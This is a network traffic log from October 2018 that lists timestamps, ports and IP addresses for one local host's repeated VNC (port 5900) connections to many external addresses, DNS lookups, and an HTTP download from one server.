Oct 30, 2018 14:45:49.427575111 CET	51821	5900	192.168.1.81	54.130.21.125
Oct 30, 2018 14:45:49.427639961 CET	51822	5900	192.168.1.81	98.217.201.154
Oct 30, 2018 14:45:49.561988115 CET	5900	51872	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:49.562541962 CET	5900	51872	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:49.562680960 CET	51872	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:49.562812090 CET	5900	51872	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:49.562865973 CET	51872	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:49.662877083 CET	53	51269	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:50.444950104 CET	65102	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:50.472693920 CET	53	65102	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:51.007251978 CET	51898	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:51.054582119 CET	54007	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:51.067568064 CET	53	54007	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:51.342880964 CET	5900	51851	120.23.229.181	192.168.1.81
Oct 30, 2018 14:45:51.343246937 CET	51902	5900	192.168.1.81	120.23.229.181
Oct 30, 2018 14:45:51.356229067 CET	5900	51867	139.165.6.57	192.168.1.81
Oct 30, 2018 14:45:51.356601000 CET	51903	5900	192.168.1.81	139.165.6.57
Oct 30, 2018 14:45:51.386840105 CET	5900	51903	139.165.6.57	192.168.1.81
Oct 30, 2018 14:45:51.386965036 CET	51903	5900	192.168.1.81	139.165.6.57
Oct 30, 2018 14:45:51.620280981 CET	56573	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:51.673003912 CET	5900	51902	120.23.229.181	192.168.1.81
Oct 30, 2018 14:45:51.673115015 CET	51902	5900	192.168.1.81	120.23.229.181
Oct 30, 2018 14:45:52.149322987 CET	5900	51898	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:52.149533033 CET	51898	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:52.286245108 CET	5900	51898	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:52.286488056 CET	51898	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:52.423557043 CET	5900	51898	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:52.423737049 CET	51898	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:52.424031973 CET	51916	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:52.428383112 CET	5900	51898	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:52.428457022 CET	51898	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:52.561733961 CET	5900	51916	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:52.561830044 CET	51916	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:52.605072021 CET	51919	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:52.615228891 CET	56573	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:52.641609907 CET	53	56573	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:52.694442987 CET	5900	51916	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:52.701607943 CET	51916	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:52.840182066 CET	5900	51916	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:52.840254068 CET	5900	51919	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:52.840531111 CET	51919	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:52.840635061 CET	51916	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:52.848153114 CET	5900	51916	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:52.848284006 CET	51916	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:53.146799088 CET	5900	51919	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:53.147378922 CET	5900	51919	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:53.147485971 CET	51919	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:53.152689934 CET	53	56573	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:53.179325104 CET	54567	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:53.206887007 CET	53	54567	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:53.453860044 CET	5900	51919	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:53.453898907 CET	5900	51919	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:53.454006910 CET	51919	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:53.454220057 CET	51939	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:53.454370022 CET	5900	51919	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:53.454420090 CET	51919	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:53.761914968 CET	5900	51939	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:53.762029886 CET	51939	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:54.067744017 CET	5900	51939	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:54.068326950 CET	5900	51939	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:54.068434000 CET	51939	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:54.311916113 CET	55898	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:54.375468969 CET	5900	51939	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:54.375854015 CET	5900	51939	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:54.375972033 CET	51939	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:54.376199007 CET	5900	51939	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:54.376265049 CET	51939	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:54.416385889 CET	5900	51903	139.165.6.57	192.168.1.81
Oct 30, 2018 14:45:54.416841030 CET	51951	5900	192.168.1.81	139.165.6.57
Oct 30, 2018 14:45:54.447385073 CET	5900	51951	139.165.6.57	192.168.1.81
Oct 30, 2018 14:45:54.447551966 CET	51951	5900	192.168.1.81	139.165.6.57
Oct 30, 2018 14:45:54.753889084 CET	53	55898	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:55.004131079 CET	5900	51902	120.23.229.181	192.168.1.81
Oct 30, 2018 14:45:55.004708052 CET	51956	5900	192.168.1.81	120.23.229.181
Oct 30, 2018 14:45:55.329128981 CET	5900	51956	120.23.229.181	192.168.1.81
Oct 30, 2018 14:45:55.329237938 CET	51956	5900	192.168.1.81	120.23.229.181
Oct 30, 2018 14:45:55.350929022 CET	50151	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:55.377645969 CET	53	50151	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:55.944756985 CET	51963	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:55.994779110 CET	63628	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:56.083015919 CET	5900	51963	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:56.083117008 CET	51963	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:56.213639975 CET	5900	51963	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:56.213819981 CET	51963	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:56.345485926 CET	5900	51963	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:56.351181984 CET	5900	51963	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:56.351339102 CET	51963	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:56.351624012 CET	51968	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:56.355972052 CET	5900	51963	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:56.356087923 CET	51963	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:56.484431982 CET	5900	51968	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:56.484566927 CET	51968	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:56.618717909 CET	5900	51968	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:56.618890047 CET	51968	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:56.755155087 CET	5900	51968	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:56.760279894 CET	5900	51968	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:56.760417938 CET	51968	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:56.765647888 CET	5900	51968	142.112.20.74	192.168.1.81
Oct 30, 2018 14:45:56.765755892 CET	51968	5900	192.168.1.81	142.112.20.74
Oct 30, 2018 14:45:56.990833044 CET	63628	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:57.017724037 CET	53	63628	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:57.397680998 CET	51980	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:57.477541924 CET	5900	51951	139.165.6.57	192.168.1.81
Oct 30, 2018 14:45:57.477922916 CET	51981	5900	192.168.1.81	139.165.6.57
Oct 30, 2018 14:45:57.507906914 CET	5900	51981	139.165.6.57	192.168.1.81
Oct 30, 2018 14:45:57.508021116 CET	51981	5900	192.168.1.81	139.165.6.57
Oct 30, 2018 14:45:57.556776047 CET	53	63628	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:57.570213079 CET	65345	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:57.597084045 CET	53	65345	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:57.652667999 CET	5900	51980	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:57.652791023 CET	51980	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:57.958986044 CET	5900	51980	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:57.959399939 CET	5900	51980	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:57.959561110 CET	51980	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:58.086858988 CET	54720	53	192.168.1.81	8.8.8.8
Oct 30, 2018 14:45:58.098874092 CET	53	54720	8.8.8.8	192.168.1.81
Oct 30, 2018 14:45:58.106739998 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.161884069 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.161947966 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.162107944 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.217503071 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.266288042 CET	5900	51980	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:58.266731024 CET	5900	51980	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:58.266802073 CET	51980	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:58.266923904 CET	5900	51980	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:58.266982079 CET	51980	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:58.267065048 CET	51998	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:58.528346062 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.528409004 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.528435946 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.528438091 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.528551102 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.528575897 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.528598070 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.528628111 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.528650045 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.528657913 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.528671980 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.528695107 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.528740883 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.574347973 CET	5900	51998	168.105.226.96	192.168.1.81
Oct 30, 2018 14:45:58.574580908 CET	51998	5900	192.168.1.81	168.105.226.96
Oct 30, 2018 14:45:58.583635092 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.583709955 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.583750963 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.583782911 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.583806992 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.583831072 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.583863974 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.583899975 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.583914042 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.583925009 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.583949089 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.583972931 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.583996058 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.584019899 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.584043026 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.584067106 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.584089994 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.584135056 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.584147930 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.584161043 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.584186077 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.584209919 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.584315062 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.585201979 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.639141083 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.639178991 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.639204025 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.639276028 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.639301062 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.639317989 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.639389038 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.639435053 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.639458895 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.639496088 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.639519930 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.639534950 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.639591932 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.639652014 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.639677048 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.639714003 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.639735937 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.639738083 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.639780045 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.639803886 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.639827967 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.639853001 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.639885902 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.639892101 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.639929056 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.639952898 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.639976025 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.640000105 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.640023947 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.640044928 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.640047073 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.640072107 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.640095949 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.640146017 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.640171051 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.640192032 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.640212059 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.640232086 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.640255928 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.640259027 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.640280008 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.640304089 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.640327930 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.640351057 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.640352011 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.640374899 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.640398979 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.640455961 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.640563011 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.656176090 CET	5900	51956	120.23.229.181	192.168.1.81
Oct 30, 2018 14:45:58.656513929 CET	52011	5900	192.168.1.81	120.23.229.181
Oct 30, 2018 14:45:58.696043015 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.696088076 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.696152925 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.696197987 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.696219921 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.696230888 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.696252108 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.696263075 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.696269035 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.696283102 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.696302891 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.696322918 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.696342945 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.696348906 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.696371078 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.696382999 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.696386099 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.696403980 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.696412086 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.696420908 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.696439981 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.696471930 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.696487904 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.696527004 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.696530104 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.696552992 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.696561098 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.696579933 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.696587086 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.696594000 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.696609020 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.696610928 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.696630955 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.696646929 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.696657896 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.696679115 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.696698904 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.696717978 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.696722984 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.696738005 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.696746111 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.696758032 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.696764946 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.696778059 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.696782112 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.696806908 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.696810961 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.696830988 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.696832895 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.696852922 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.696872950 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.696890116 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.696908951 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.696928978 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.696949005 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.696949959 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.696968079 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.696973085 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.696988106 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.696990967 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.697007895 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.697007895 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.697024107 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.697026968 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.697040081 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.697046995 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.697057009 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.697066069 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.697072983 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.697093010 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.697108984 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.697124004 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.697509050 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.697535992 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.697556019 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.697573900 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.697592020 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.697608948 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.697626114 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.697643042 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.753336906 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.753402948 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.753438950 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.753463984 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.753488064 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.753513098 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.753568888 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.753595114 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.753628969 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.753653049 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.753669024 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.753688097 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.753695011 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.753716946 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.753737926 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.753737926 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.753770113 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.753793955 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.753818035 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.753842115 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.753849983 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.753865004 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.753876925 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.753889084 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.753895998 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.753914118 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.753915071 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.753936052 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.753938913 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.753954887 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.753968954 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.753993034 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.754017115 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.754040956 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.754065037 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.754069090 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.754087925 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.754095078 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.754112959 CET	80	51992	92.63.197.48	192.168.1.81
Oct 30, 2018 14:45:58.754115105 CET	51992	80	192.168.1.81	92.63.197.48
Oct 30, 2018 14:45:58.754134893 CET	51992	80	192.168.1.81	92.63.197.48
